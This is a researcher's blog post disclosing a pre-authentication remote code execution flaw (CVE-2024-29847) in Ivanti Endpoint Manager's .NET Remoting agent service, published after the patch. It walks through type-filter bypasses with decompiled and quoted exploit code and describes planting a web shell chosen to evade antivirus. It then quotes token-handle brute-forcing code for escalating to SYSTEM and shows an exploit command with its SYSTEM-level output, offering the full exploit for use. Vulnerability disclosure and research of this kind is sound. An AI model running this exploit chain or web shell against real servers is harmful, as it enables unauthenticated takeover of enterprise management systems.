The real slim shady || Ivanti Endpoint Manager (EPM) Pre-Auth RCE

CVE-2024-29847

Introduction

ivanti just pushed a patch for a Critical CVSS 10.0 (Critical) Remote Code Execution Vulnerability that I reported on May 1st 2024, impacting Ivanti Endpoint Manager (EPM). in this blog post I will be publishing the fully working unauthenticated exploit and detail how this bug class works.

ivantiEPM

If you found the original .NET Remoting Exploitation research a bit difficult to understand, This blog post also is also a good place to understand the concept in a bit easier fashion.

P.S: this blog post is full of grammar errors.

Hasn’t this been covered already?

You see, this exploit was reported to Ivanti more than 4 months ago, my plan was to publish the details once ivanti publishes the advisory, but also give a week or two so people can patch their products, and by writing about this bug I can advertise my training too, I was counting the days, everyday, each day, and from time to time I would bother the right people to see if Ivanti is going to publish anytime soon.

And then, finally, Advisory is published on 11th, I’m finishing my blog post, waiting for monday so enough people have patched, and Bam, what do I see on friday 13th?

ivantiEPM

Now its pretty much a known thing that I publish my .NET vulnerabilities very soon to advertise my training, but funny enough Folks at horizon3, swoop in, and write about my exploit, without even asking me if I plan to publish or not, you see, I was devastated! So, like anyone else, I clicked on their blog post and started reading.

ivantiEPM

I’m reading and waiting to see how they managed to write an exploit for my deserialization issue, I get to the end of the blog and this line

ivantiEPM

Would you look at that, they exploited a different bug found by someone else, and thought they’ve just exploited my bug :) and hours later, someone who might be the finder of that bug left a comment saying “This post is incorrect”

ivantiEPM

Now enough darama, I myself have written exploit for bugs that was found by other people many times, and I understand other people would do the same to me, either its for advertising their product or anytthing else, but, at least I’ve tried to reachout if I knew the finder and ask if they plan to publish soon or not, but it didn’t happen this time even though I had open channels for these folks over the last couple of years.

ivanti Endpoint Manager (EPM) Unauthenticated Remote Code Execution

ivantiEPM

Inside of the Agentportal.exe executable the LANDesk.AgentPortal.AgentPortal.OnStart method is invoked when ever the “Agent portal” service starts, this service is always running by default and it is possible to achieve unauthenticated remote code execution by exploiting this service.

Following is the decompiled view of this service executable, the OnStart method will first create an instance of the System.Runtime.Remoting.Channels.Tcp.TcpChannel.TcpChannel class [1] by invoking its constructor and passing 0 for its port property, this causes the port for this service to be dynamically chosen, and then at [2] the code proceeds to register a TCP channel by invoking System.Runtime.Remoting.Channels.ChannelServices.RegisterChannel passing in the tcp channel object and false for the ensureSecurity flag.

following the code path at [3] the LANDesk.AgentPortal.IAgentPortal service which is a MarshalByRefObject is registered as a WellKnownServiceType, then at [4] an absolute address is constructed and a call to LANDesk.AgentPortal.IAgentPortalBase.PublishChannelURL is made

protected override void Dispose(bool disposing)
		{
			if (disposing && this.components != null)
			{
				this.components.Dispose();
			}
			base.Dispose(disposing);
		}

		// Token: 0x06000005 RID: 5 RVA: 0x00002114 File Offset: 0x00001114
		protected override void OnStart(string[] args)
		{
			TcpChannel tcpChannel = new TcpChannel(0); // [1]
			ChannelServices.RegisterChannel(tcpChannel, false); // [2]
			RemotingConfiguration.RegisterWellKnownServiceType(Type.GetType("LANDesk.AgentPortal.IAgentPortal"), "LDSM", WellKnownObjectMode.SingleCall); // [3]
			RemotingConfiguration.ApplicationName = "LANDeskAgentPortal";
			string[] urlsForUri = tcpChannel.GetUrlsForUri("LANDeskAgentPortal");
			if (urlsForUri.Length >= 1)
			{
				IAgentPortalBase.PublishChannelURL(urlsForUri[0] + "/LDSM"); // [4]
			}
			AgentPortal.JobList = new NamedCollection();
			if (!this.CleanupTimer.Enabled)
			{
				this.CleanupTimer.Start();
			}
		}

		// Token: 0x06000006 RID: 6 RVA: 0x00002192 File Offset: 0x00001192
		protected override void OnStop()
		{
			this.CleanupTimer.Stop();
		}

the LANDesk.AgentPortal.IAgentPortalBase.PublishChannelURL will save the constructed URL absolute address into the registry

		// Token: 0x06000008 RID: 8 RVA: 0x00002098 File Offset: 0x00001098
		public static void PublishChannelURL(string url)
		{
			RegistryKey registryKey = IAgentPortalBase.OpenRegKey("Software\\Landesk\\SharedComponents", true);
			if (registryKey != null)
			{
				registryKey.SetValue("LANDeskAgentPortal", url);
			}
		}

The vulnerability here is the fact that Microsoft .NET Remoting is a dangerous and powerful technology which it’s use is extremely prohibited by Microsoft but to this day it’s uses are seen in a lot of critical infrastructures.

as a reminder, the port number has been set to “0” which causes this service to start on a dynamic port.

TcpChannel

By default the type filter is set to low which prevents the easy exploitation of the .NET Remoting Stack, but it’s been achieved and requires more effort. Following is a detailed introduction to .NET remoting exploitation.

Introduction to Exploiting .NET Remoting

Disclaimer: Everything in the .NET Remoting exploitation internals explained here is based on James Forshaw’s research in .net remoting exploitation/internals, I am just a student of his work. A big thank you to my dear friend Markus Wulftange for always answering my questions, you have my utmost respect

TcpChannel

As James Forshaw published, normally when we are exploiting a .NET Remoting instance, we need to target objects that are remotable, in order for an object to be “remotable” it should either be Serializable or inherit MarshalByRefObject class. now forshaw figured out that we can abuse the fact that certain classes such as DirectoryInfo and FileInfo are both derived from MarshalByRefObject (MBR) and are also Serializable.

Taking another page from forshaw’s book, here is the exploitation flow when targeting .NET Remoting that has the Full Type Filtering

  1. Classes Deriving from MarshalByRefObject (MBR) and Serializable: DirectoryInfo and FileInfo are mentioned as examples of classes that meet these criteria. These classes can be serialized and deserialized across a network and are derived from MarshalByRefObject.
  2. Crafted Hashtable with MBR Instance of IEqualityComparer: By deserializing an instance of one of these special classes (DirectoryInfo or FileInfo) inside a carefully crafted Hashtable, along with a MarshalByRefObject instance of IEqualityComparer, the server can be tricked into passing back the instance.
  3. Marshalling by Reference (MBR): As the object is passed back over a remoting channel, the DirectoryInfo or FileInfo objects are marshalled by reference and remain on the server.
  4. Arbitrary File Operations: With the DirectoryInfo or FileInfo objects now stuck inside the server, methods can be called on these objects to perform arbitrary file operations, such as reading and writing files.
  5. Remote Code Execution: This technique potentially allows an attacker to achieve full code execution on the server by leveraging the ability to manipulate files and execute arbitrary commands.

Remotable

Here is how James Forshaw describes the flow which is absolutely amazing

.NET Remoting exploitation flow when Type Filter is set to Full, designed by James Forshaw

.NET Remoting exploitation flow when Type Filter is set to Full, designed by James Forshaw

Exploiting .NET Remoting (Low Type Filter)

When the Low Type Filter is enabled the following restrictions are applied:

Now forshaw figured out if we go about using the previous technique we’ll encounter some obstacles, first, in order to get the instance of the special object such as DirectoryInfo and FileInfo we need to pass a MarshalByRef IEqualityProvider which gets blocked when the Type Filter is set to Low.

Second, even if we do manage to get a hold of the DirectoryInfo or FileInfo and want to use it, when our message is sent over the proxy channel and is deserialized, a Demand is made for the FileIOPermission For the “Path” we have referenced, sadly, this causes a “Permission Demand” and falls into the restriction rules that only SerializationFormatter permissions are allowed

Untitled

And lastly, even if we do manage pass the MarshalByRef IEqualityProvider and we do manage to have the server deserialize our malicious FileInfo or DirectoryInfo without raising permission demands, we’ll encounter another problem, for a target server to “send back the reference” to an special object, it needs to use the network stack and connect back to us, this will raise another permission demand and falls into the restrictions category one more time.

Bypassing MarshalByRefObject Type Checking

Forshaw found out it is possible to bypass the first restriction that prevents MarshalByRef objects being deserialized by not using MethodCall or MethodReturn as the “Top Level Record”, so by passing a Hashtable as the top level object, it’ll cause the remoting server code to fault when trying to call methods on the message object but by then it’d be too late and the bypass is done. This is how the top level record is checked:

internal void ReadMethodObject(BinaryHeaderEnum binaryHeaderEnum) {
  SerTrace.Log(this, "ReadMethodObject");
  if (binaryHeaderEnum == BinaryHeaderEnum.MethodCall) {
    BinaryMethodCall record = new BinaryMethodCall();
    record.Read(this);
    record.Dump();
    objectReader.SetMethodCall(record);
  } else {
    BinaryMethodReturn record = new BinaryMethodReturn();
    record.Read(this);
    record.Dump();
    objectReader.SetMethodReturn(record);
  }
}

Bypassing FileInfo/DirectoryInfo CAS Permission Demand

When System.Runtime.Remoting.dll receives an incoming request if the type filter level has been set to low, the following branch is taken

PermissionSet currentPermissionSet = null;                  
if (this.TypeFilterLevel != TypeFilterLevel.Full) {                    
 currentPermissionSet = new PermissionSet(PermissionState.None);                
 currentPermissionSet.SetPermission(
      new SecurityPermission(
          SecurityPermissionFlag.SerializationFormatter));                    
}
                                    
try {
 if (currentPermissionSet != null)
  currentPermissionSet.PermitOnly();
                        
 // Deserialize Request - Stream to IMessage
 requestMsg = CoreChannel.DeserializeBinaryRequestMessage(
    objectUri, requestStream, _strictBinding, this.TypeFilterLevel);                    
}
finally {
 if (currentPermissionSet != null)
  CodeAccessPermission.RevertPermitOnly();
} 

As you can see if the type filter level is NOT set to TypeFilterLevel.Full then the currentPermissionSet will only contain one permission which is SecurityPermissionFlag.SerializationFormatter, what does this mean? this means first the CAS is enforced by calling .PermitOnly() then our Serialized Message gets Deserialized under the influence of CAS and then finally the CAS is lifted when the .RevertPermitOnly() is invoked.

So as long as the DeserializeBinaryRequestMessage does not violate CAS during the deserialization phase we can get around this security protection, but how can we get passed that?

That was exactly what forshaw did, he figured out, The PermitOnly security behaviors of Low Type Filter only apply when calling a method on a server object, not deserializing the return value.

Therefore if we could find somewhere in the server which calls back to a MBR object we control then we can force the server to deserialize an arbitrary object. This object can be used to mount the attack as the deserialization would not occur under the PermitOnly CAS grant and we can use the same Hashtable trick to capture a DirectoryInfo or FileInfo object.

But how can find a a method that calls back to us? Normally you would go about reverse engineering the server application to find such a method, but forshaw decided to come up with a universal technique that allows to make the server perform a callback to us, after reviewing multiple candidates he published the ILease::Register technique.

Basically, The InitializeLifetimeServer or GetLifetimeService methods return an MBR which implements the ILease interface. The ILease interface has a Register method which expects 1 argument that implements ISponsor, and the trick here is, invoking the ILease::Register with an argument that implements IConvertible instead of ISponsor, we cause an interesting behaviour to happen which forshaw has named “Coerce Arguments”.

Forshaw proceeded by Digging further into default remoting implementation and noticed that if an argument being passed to a method isn’t directly of the required type the method StackBuilderSink::SyncProcessMessage will call Message::CoerceArgs to try the coerce the argument to the correct type. The fallback is to call Convert::ChangeType passing the needed type and the object passed from the client. To convert to the correct type the code will see if the passed object implements the IConvertible interface and call the ToType method on it. And that’s exactly what is happening in the ExploitRemotingService PoC published by James.


//    ExploitRemotingService
//    Copyright (C) 2019 James Forshaw
//

namespace ExploitRemotingService
{
    class SerializerRemoteClass : MarshalByRefObject, IRemoteClass, IEqualityComparer, IConvertible
    {
        private readonly CustomChannel _channel;
        private readonly ILease _lease;
        private readonly bool _useObjRef;
        private object _send_object;

        public SerializerRemoteClass(CustomChannel channel, ILease lease, bool useObjRef)
        {
            _channel = channel;
            _lease = lease;
            _useObjRef = useObjRef;
        }

     [..SNIP..]

        object IConvertible.ToType(Type conversionType, IFormatProvider provider)
        {
            return new DataSetMarshal(_send_object);
        }
    }
}

Now in order to begin this whole operation and “Set” a ISponsor object, we need to make an actual call to the server, however the Low Type Filter would stop us from passing an MBR ISponsor object as the top level object would be a MethodCall record type which would throw an exception when it is encountered during argument deserialization.

Forshaw figured there’s an easy way around this too, the framework provides us with a full serializable MethodCall class. Instead of using the MethodCall record type we can instead package up a serializable MethodCall (DIY) object as the top level object with all the data needed to make the call to Register. As the top level object is using a normal serialized object record type and not a MethodCall record type it’ll never trigger the type checking and we can call Register with our MBR ISponsor object and get around this limitation too, an absolute work of art from James, here is how he implemented it in the ExploitRemotingService project:

//    ExploitRemotingService
//    Copyright (C) 2019 James Forshaw
//

using System;
using System.Linq;
using System.Reflection;
using System.Runtime.Remoting.Messaging;
using System.Runtime.Serialization;

namespace ExploitRemotingService
{
    [Serializable]
    class MethodCallWrapper : ISerializable
    {
        private readonly string _uri;
        private readonly MethodBase _method;
        private readonly object[] _args;

        public MethodCallWrapper(string uri, MethodBase method, object[] args)
        {
            _uri = uri;
            _method = method;
            _args = args;
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(MethodCall));
            info.AddValue("__Uri", _uri);
            info.AddValue("__MethodName", _method.Name);
            info.AddValue("__MethodSignature", _method.GetParameters().Select(p => p.ParameterType).ToArray());
            info.AddValue("__Args", _args);
            info.AddValue("__TypeName", _method.DeclaringType.FullName);
            info.AddValue("__CallContext", string.Empty);
        }
    }
}

You might wonder if there’s another problem here, won’t deserializing the MBR cause the channel to be created and hit the PermitOnly CAS grant? Fortunately channel setup is deferred until a call is made on the object, therefore as long as no call is made to the MBR object during the deserialization process we’ll be out of the CAS grant and able to setup the channel when the Renewal method is called.

Following is how the final exploitation will look like, this diagram was originally made by james and I just remade it with a small edit.

Untitled

Making the exploit more difficult just for fun

For Ivanti I used a different technique when exploiting the Low Type Filter, usually you might be taking the approach of remotely causing a side load of the FakeAssembly technique, but I’ve decided to abuse the Write What Where MarshalByRefObj Primitive and write a web shell to one of the EPM Public IIS Application Pool directories, this is because comapred to the FakeAssembly, defender won’t catch this (which it will after this post, lol)

From IIS User to NT AUTHORITY\SYSTEM Privilege Escalation

After analysing the worker process that is used to run the application pool for the Ivanti Endpoint Manager WebService, I’ve realized the worker process almost always contains leaked open handles that belong to nt authority\system, this means it’s possible to to escalate our privileges from the IIS App Pool user to NT AUTHORITY\SYSTEM.

Kurosh Dabbagh (@Kudaes) published a webshell written in ASP.NET, this shell is meant to be used to escape from the Application Pool Identity security context and perform privilege escalation after compromising a web app.

The inner workings of this webshell is perfectly explained by Kurosh Dabbagh and to give you a high overview of it, this web shell will

  1. With a loop that iterates over a range number from 0 to 1000000, we create a IntPtr and use it to create a pointers to potential handles, first we validate if the handle is valid, then we proceed
  2. Call [NtQueryObject] to find out if it is a token handle.
  3. Retrieve information about the owner of the token by calling [GetTokenInformation] and [LookupAccountSid].
  4. Once the operator decides which one of the available token handles wants to use for the impersonation, a call to [CreateProcessWithTokenW] is performed to spawn a new process running in the new security context.

If you are wondering why did Kurosh took the approach of brute forcing these handle values instead of using [NtQueryInformationProcess] this is because for some reason calling into this function from the web shell was proven unreliable but brute forcing the handles values showed way more accurate result and almost no handles being missed. the following is a small portion of Kurosh’s implementation

	                    // [..SNIP..]

public void GetAllUsernames(List<string> users)
	{
	    int nLength = 0, status = 0;

	    try
	    {
	        for (int index = 1; index < 1000000; index++)
	        {
	            var handle = new IntPtr(index);
	            IntPtr hObjectName = IntPtr.Zero;
	            try
	            {
	                nLength = 0;
	                hObjectName = Marshal.AllocHGlobal(256 * 1024);
	                status = NtQueryObject(handle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, nLength, ref nLength);

	                if (string.Format("{0:X}", status) == "C0000008") // STATUS_INVALID_HANDLE
	                    continue;
	                
	                while (status != 0)
	                {
	                    Marshal.FreeHGlobal(hObjectName);
	                    if (nLength == 0)
	                        continue;

	                    hObjectName = Marshal.AllocHGlobal(nLength);
	                    status = NtQueryObject(handle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, nLength, ref nLength);
	                }

	                OBJECT_TYPE_INFORMATION objObjectName = Marshal.PtrToStructure<OBJECT_TYPE_INFORMATION>(hObjectName);

	                if (objObjectName.Name.Buffer != IntPtr.Zero)
	                {
	                    string strObjectName = "" + Marshal.PtrToStringUni(objObjectName.Name.Buffer);

	                    if (strObjectName.ToLower() == "token")
	                    {
	                    // [..SNIP..]

Proof of Concept

you can find the source code of the exploit with the compiled version at my github repository

#> IvantiForLife.exe --what WWW.aspx --where default 192.168.0.200:49999

(*) writting WWW.aspx to C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices\WWW.aspx
(+) Web shell is at -> https://192.168.0.200/WebService/WWW.aspx
(*) enumerating avaialble token handles
(*) found NT AUTHORITY\SYSTEM Token
(*) executing "whoami /all"
(*) Fetching Result

USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner    
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                   

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled 
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled 
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled 
SeTcbPrivilege                            Act as part of the operating system                                Enabled 
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled 
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled 
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled 
SeSystemProfilePrivilege                  Profile system performance                                         Enabled 
SeSystemtimePrivilege                     Change the system time                                             Enabled 
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled 
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled 
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled 
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled 
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Enabled 
SeShutdownPrivilege                       Shut down the system                                               Enabled 
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeAuditPrivilege                          Generate security audits                                           Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled 
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeUndockPrivilege                         Remove computer from docking station                               Enabled 
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled 
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled 
SeTimeZonePrivilege                       Change the time zone                                               Enabled 
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled 
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled 

James Forshaw

Without the work of people such as james none of this would’ve been possible, james has published many more fantastic research over decades of grinding in the cybersecurity field, at the time of writing this post, james has published his second book titled “Windows Security Internals”, I can’t recommend this book enough to all the windows security enthusiasts, make sure to check it out, it is an amazing read.

ZERO DAY INITIATIVE

If it wasn’t because of the talented team working at the Zero Day Initiative, Ivanti would’ve not gotten this vulnerability report from me, shout out to all of you people working there to make the internet safer.

ZDI

Conclusion

Don’t use .NET Remoting, no matter how much you need it and if this post has gone over your head or you like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you how to pop shellz on .net targets.

AdvancedNetExploitationTraining

References